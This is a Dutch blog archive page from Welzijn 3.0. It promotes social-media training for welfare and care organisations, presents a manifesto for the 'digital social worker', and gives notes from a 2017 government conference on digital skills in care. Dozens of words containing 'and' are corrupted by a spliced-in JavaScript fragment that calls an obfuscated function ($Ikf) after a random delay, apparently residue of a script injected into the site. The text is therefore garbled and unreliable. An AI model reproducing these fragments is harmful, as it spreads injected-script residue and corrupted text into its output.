Tag archieven: bestuurders

Wat levert het op?

Sociaal maatschappelijke organisaties inspireren en stimuleren om de kansen van sociale media / sociale technologie en digitale vaardigheid te pakken. Ik help graag bij het accepteren, innoveren en implementeren. Social media opleiding in zorg en welzijn, trainer, workshops en nascholing, coach, adviseur, blogs, columns, spreker en straks een boek (!).

Welke kansen zijn er dan te pakken? Wat levert het je op?
* Digitaal bouwen aan duurzame relaties met je deelnemers / cliënten.
* Het goede imago van je dienstverlening onder inwoners ook online voortzetten.
* Raadsleden betrekken bij je dagelijkse werk.
* Jullie herkenbaarheid in de samenleving vergroten.
* Rechtstreekse lijntjes met de wethouder en beleidsambtenaren leggen.
* Ketenpartners in de wijken vinden en binden.
* Bevorderen van mond op mond reclame, maar dan via social media.
* Tijd besparen door 1 super leuk bericht te plaatsen inplaats van 1001 foldertjes in de bus te doen.
* Standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andaard informatie digitaal aanbieden om tijd te besparen en je klant beter te helpen.

Mijn klanten vinden het een groot pluspunt dat ik “uit het wereldje zelf kom.” Ik spreek de taal van de sector en ken de mores. Ik help je om digitale middelen zoals social media te borgen in je dagelijkse werk, zodat het bijdraagt om jouw werkdoelen te behalen t.b.v. je cliënt / bewoner / doelgroep. Met Welzijn 3.0 help ik jou en je collega’s graag verder.

Welzijn 3.0 is geaccrediteerd door Registerplein.nl en CRKBO (Centraal Register Kort Beroepsonderwijs). KvK nummer: 52059855. Ik sta als sociaal werker geregistreerd bij Registerplein. Beschikbaar voor korte en langere opdrachten.

Ik ben Hans Versteegh. Ik heb ruim 25 jaar lang ervaring in de uitvoering binnen het sociaal domein. Waarvan veel jaren als opbouwwerker, een prachtig vak. Nog steeds val ik af en toe in en sta ik als sociaal werker geregistreerd bij Registerplein. Op de werkvloer ontdekte ik de kansen van digitalisering voor dit bijzondere veld. En tegelijk kwam ik allerlei drempels en overtuigingen tegen die deze innovatieve ontwikkeling tegenhouden.

Vinden jij en je collega’s dat spannend? Dat snap ik. Zouden jullie daar hulp bij willen hebben? Om digitale middelen zoals social media te borgen in je dagelijkse werk, zodat het helpt om jouw werkdoelen te behalen t.b.v. je cliënt / bewoner / doelgroep? Met Welzijn 3.0 help ik jou en je collega’s graag verder.

 

Manifest voor de digitaal sociaal werker

De laatste tijd sprak ik verschillende visionaire toekomstdenkers over digitalisering. Ik verdiepte me in wat er in de bestuurskamers en raden van commissarissen / toezichthouders gebeurd met dit onderwerp. Ook bezocht ik diverse congressen en evenementen over technologie in allerlei sectoren. Zo hoorde en las ik veel over de impact die technologie op ons dagelijks leven gaat hebben.

Als je de voortekenen mag geloven, gaat de invloed van technologie allemaal nog veel meer, veel sneller, veel ingrijpender en alles omvattender worden dan je kunt bevatten.

Ik moet toegeven, op mij heeft het nogal indruk gemaakt. Het zette me aan het denken. Als het klopt, wat zijn dan de gevolgen? Ik heb geen idee, maar het gaat in ieder geval altijd een keerzijde hebben.

Zoals ik het zie liggen daar voor het sociaal domein drie uitdagingen.

  1. Digitalisering van de maatschappij zorgt voor nieuwe hulpvragen van nieuwe cliënten
  2. De digitaal sociaal werker, met 21th century skills
  3. Digitaal transformerende maatschappelijke organisaties

Een voorbeeld?

Hoe sociaal vaardig wordt je als je gewend bent andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anderen met een “swipe” op je telefoon goed of af te keuren? Zoals jongeren in Tinder doen? Besef je dat je in de dagelijkse omgang niet de ene dag iemandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and af kan wijzen en de volgende dag kan doen alsof het niet gebeurd is?

Wat zegt dat over de benodigde skills en inzichten van hulpverleners en sociaal werkers? Ken je het mechanisme waarop apps als Tinder of Snapchat gebouwd zijn? Begrijp je de technologie voldoende om te zien dat dit mede de oorzaak van een hulpvraag kan zijn?

En dan de organisatie waar je in werkt. Is die klassiek geordend? Of is het een netwerk-organisatie van min of meer gelijkwaardige losse contacten die op enig moment samen hartstikke nuttig kunnen zijn. En een volgend moment net zo makkelijk andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andere verbandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anden aan nemen, als een situatie daar om vraagt?

Zo zit ik te filosoferen. Ik beweer niet dat ik de wijsheid in pacht heb. En ik weet ook wel dat een deel van de antwoorden al te vinden is. En dat jij misschien juist dit pad al in geslagen bent en nu aan mooie oplossingen werkt. Chapeau!

Zorgen

Maar ik maak me wel zorgen over het schijnbare gebrek aan intensiteit en snelheid waarmee in de sociale sector;

  1. het belang van technologie en digitalisering wordt onderschreven en
  2. tot reorganisatie / innovatie / transformatie / aanpassingen en actie leidt.

Op dit vlak vind ik echt dat er in de sector te lang op oude voet doorgesukkeld wordt terwijl de wereld … ja, de wereld (!) … om ons heen zo bizar snel aan het verandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anderen is.

Ik zou het zo mooi vinden wanneer er vanuit de sociale sector een passend antwoord komt. Dat kan eigenlijk niet meer wachten, willen we relevant blijven voor de samenleving. Daarom heb ik besloten zelf maar eens een zetje de goede kant op te geven. Op 15 maart 2017, op de Internationale Dag van de Sociaal Werker, verscheen het:

“Manifest voor de digitaal sociaal werker.”

“Niet omdat het kan, maar omdat het moet.”

Het gaat een beetje schuren.

Het zal ongemak oproepen.

Maar lees dat eens.

Laat je inspireren.

En reageer er eens op.

Kijk op https://www.welzijn30.nl/manifest/

 

Eerder verschenen als blog op Zorg en Welzijn, maart 2017

BewarenBewaren

Aantekeningen werkconferentie digivaardig in de zorg

Werkconferentie “Digivaardig in de zorg”

Door VWS en ECP, donderdag 29 juni, Utrecht

Geeft de standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and van zaken op dit moment weer m.b.t. het thema digitalisering van het sociaal domein, omdat dit overeenkomt met de ontwikkelingen in de zorg. Een en al inspiratie.

Hashtag om terug te lezen: #zorgdigivaardig

Platform voor de informatiesamenleving

Coalitie Digivaardig

Onderzoekt

  • e-skills voor zorgprofessionals
  • Digivaardig en de arbeidsmarkt
  • Uitslagen zelf-test
  • Rol van de manager / bestuurder

Bewustwording / activering

2017: digivaardig in de zorg: nodig en zichtbaar

Groei belang e-health en digivaardigheden in de zorg

  • Voelbaar en zichtbaar bij zorginstellingen, zorgprofessionals
  • Cijfers e-health monitor NICTIZ
  • Brede aandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andacht e-health: bv zie #ehw17
  • Brede aandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andacht digitale vaardigheden (OCW/BZK/EZ)
  • Groei coalitie dv in de zorg
  • (Aangenomen) motie Tweede Kamer op dit gebied
  • VWS: kamerbrief 20 juli 2017: digitale vaardigheden en zorginnovatie

Naar een programma digivaardig in de zorg voor de komende (kabinets-)periode

Bron: latulippe.et.al. JMRI 2017

  • 90% van de Nederlandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anders heeft internet, maar dat geld niet voor mensen binnen zorginstellingen
  • 40% van de kwetsbaren heeft geen internet
  • 25% hiervan vindt internet moeilijk
  • 30% heeft moeite met het verwerken van informatie
  • 50% heeft moeite met eigen regie

Zorgverleners zien meer mogelijkheden voor e-health dan cliënten.

Van de cliënten geeft 50% aan er behoefte aan te hebben. Maar:

  • De techniek moet goed werken
  • De kennis en kunde van gebruikers moet op pijl zijn
  • Het moet goed aangeboden worden
  • Vanuit krachtige organisaties
  • Met een faciliterende context, denk aan wetgeving en financiering

Wie gaat deze mensen bij de handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and nemen?

En wie de zorgprofessionals en de mantelzorgers?

Betere bij- / nascholing is nodig

Betere internetverbindingen binnen de zorg

Bij de doelgroep passende toepassingen

DIGITALE VAARDIGHEDEN

Aanwijsbare doelgroepen:

Burger, Patiënt, Mantelzorger — Zorgmedewerker — ICT-er in de zorg — Leidinggevenden — opleiding / onderwijs

Vanuit de Burger, Patiënt, Mantelzorger

Missie: Alle patiënten /mantelzorgers / naasten voldoende digivaardig

Voorbeeld: patiënten dossiers, beeldbellen, lab-waarden diabetes, etc.

Mogelijke activiteiten:

  • Methode om vast t stellen of de client over de vaardigheden beschikt / MBO
  • Coaching materiaal voor zorgverlener als digi-coach
  • E-health modules in bestaandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande computercursussen voor ouderen, gehandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andicapten, kwetsbaren
  • Mantelzorger als digi-coach: ondersteuningsmateriaal of ondersteuning
  • Aansluiten bij patiënts-included
  • Doorverwijsplek digitaal hulplijn van BZK / (zorg specifiek) digivaardig te maken

De burger wil op het juiste moment de juiste informatie via het juiste kanaal.

Bijvoorbeeld een Whatsapp als herinnering voor een afspraak, een filmpje over een behandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andeling en over de weg in het ziekenhuis. Aangeboden door een partij die vertrouwen geeft.

Er is behoefte aan:

  • Zorgverleners met oog voor behoeften
  • Begrijpelijke zorg
  • Een keurmerk
  • Een overzicht van beschikbare tools
  • Een checklist voor digitale tools

Vanuit de zorgprofessional

Missie: alle zorgprofessionals voldoende digivaardig,

Zorgprofessionals als coach van cliënten die zelf zoeken welke ICT / digitale tools nodig zijn om gezond te blijven en / of beter te worden. Niet zorgen voor maar mensen die zelf hun zorg vorm geven. Mensen kunnen zo ook uit de zorg gehouden worden (population health management)

Hoe sluit je als professional aan op wat mensen zelf in huis hebben gehaald? Hoe hou je het veilig?

De zorgketen gaat op de kop. Terwijl de gevestigde orde zich moet houden aan wetten en standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andaarden als ISO en HL7Fire etc.

Voorbeeld: basisvaardig (EPD), interactie patiënt (beeldbellen), innovatie (andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anders werken)

Mogelijke activiteiten:

  • Bewustwordingscursus slimmerwerkenindezorgin1minuut.nl verder verspreiden
  • Zelf test uitbreiden en breder verspreiden
  • Digitale vaardigheden in BIG-opleidingen
  • Ondersteuning voor super-users: opleiding, begrip van rol, samenwerking met andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anderen, connectie ICT-afdeling, etc.

Er is behoefte aan:

  • Kennis en bewustwording van ICT / digitale mogelijkheden
  • Kennis om er gebruik van te kunnen maken
  • Ervaren wat het is
  • Tijd om te proberen
  • Technologie die aansluit bij de professional
  • Keep It Simple Stupid (KISS)
  • Integratie in het dagelijkse vak
  • Deskundigheidsbevordering
  • Herhalen en coachen
  • Coaching: in korte perioden van herhaling om kennis te laten beklijven. “Ik kan het niet de hele dag.” “Ik moet een knop omzetten.”
  • Borgen in visie en beleid

Vanuit de ICT-professional

Missie: zorgen voor voldoende ICT-ers in de zorg, die optimaal binnen hun nieuwe rol functioneren

Voorbeeld: helpen zorgprofessionals, helpen managers, nieuwe ICT mogelijkheden, samenwerking over de grenzen heen

Mogelijke activiteiten:

  • Met de beroepsgroep een Body of Knowledge en Skills opzetten voor de zorginformatieprofessional 3.0
  • Bewustmakingscampagne vanuit het begrip zorginformatieprofessional 3.0
  • Enthousiasme professionals over het vak overbrengen aan jongeren om tekort te voorkomen (geef ICT door variant)

Vraagstuk: kan de zorgprofessional praten met de ICT-er? En kan die praten met de klant?

Dit is nodig:

  • Business ICT alignement, goede ICT die effectief, veilig en efficiënt is, plus vaardigheden en skills.
  • In de zorg de juiste ICT ondersteuning leveren
  • Een nieuwe rol voor ICT-ers
  • Meer rond communiceren en bruggen bouwen dan fysiek bouwen
  • Geen aparte discipline maar onderdeel van het bedrijfsproces

Vanuit leidinggevenden / bestuurders

Missie: alle leidinggevenden in de zorg voldoende digivaardig

Voorbeeld: andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andere competenties medewerkers, standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andaardisatie, uitwisseling, etc.

Mogelijke activiteiten:

  • Een campagne waarin rolmodellen, exemplarische management vraagstukken issues over managementdilemma’s wordt gestimuleerd
  • Leercirkels / leertafels waarin managers en bestuurders hun dilemma’s bespreken
  • E-health leiderschap / management in opleidingen voor zorgmanagement

Er is behoefte aan:

  • Een visie en strategie rond digitalisering
  • Standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andaarden
  • Zorgverzekeraars kunnen aansporen en moeten ruimte bieden
  • Cultuurverandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andering
  • Implementatie in de eigen organisatie
  • Een groter kennisniveau van bestuurders
  • Aansluiten bij landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andelijke bewegingen

Vanuit opleidingen

Missie: zorgopleidingen hebben e-health geïncorporeerd in hun curriculum

Voorbeeld: in opleidingen MBO-V, HBO-V etc. ook e-health in technische opleidingen

  • Concrete aanbevelingen op et terrein van e-health in zorgonderwijs concreet uitwerken
  • Concrete invulling van / samenwerking met zorgpacten
  • Vooroplopende opleidingen een podium geven om hun voortrekkersrol te vervullen, bijvoorbeeld door een conferentie voor zorgopleidingen te organiseren

Dit is nodig:

  • Inspiratie en toonaangevende voorbeelden
  • Living labs en smartlabs om te experimenteren en te leren
  • Een kennisplatform
  • Zorgprofessionals die ICT toepassen
  • Inclusief onderwijs

Wie heb je voor je en voor wie is welke digitale tool geschikt?

Beelden gebruiken, ook naar zorgverleners zelf

Perspectief (door mij geformuleerd)

Over 4 jaar hebben zorgverleners kennis van digitale mogelijkheden, scholen zij zich daarin blijvend bij op hun 24th century skills en werken zij als digi-zorgcoach naar hulp behoevenden die zelf de regie in handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anden (kunnen) hebben en hun eigen zorgafname vorm geven. En zijn zij bruggenbouwers naar de eigen organisatie en aanbieders.

Dus … zij geven advies en implementeren digitale zorg middelen:

“dit kan er, zullen we?”

Kijk voor inspiratie ook naar andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andere sectoren zoals de veehouderij die van iedere koe precies weet hoe die er voor staat. En naar de transport sector die goederenstromen feilloos ingericht heeft.

De rol die VWS voor zichzelf ziet is:

  • Afstemmen van 4 ministeries (VWS, EZ, BZK en OCW)
  • Voorbeelden delen
  • Met als startpunt telkens de burger / de patiënt
  • Vruchtbare grond leveren voor verdere ontwikkeling
  • Schouderklopjes uitdelen

(dit viel mij eerlijk gezegd wat tegen van het ministerie, HV)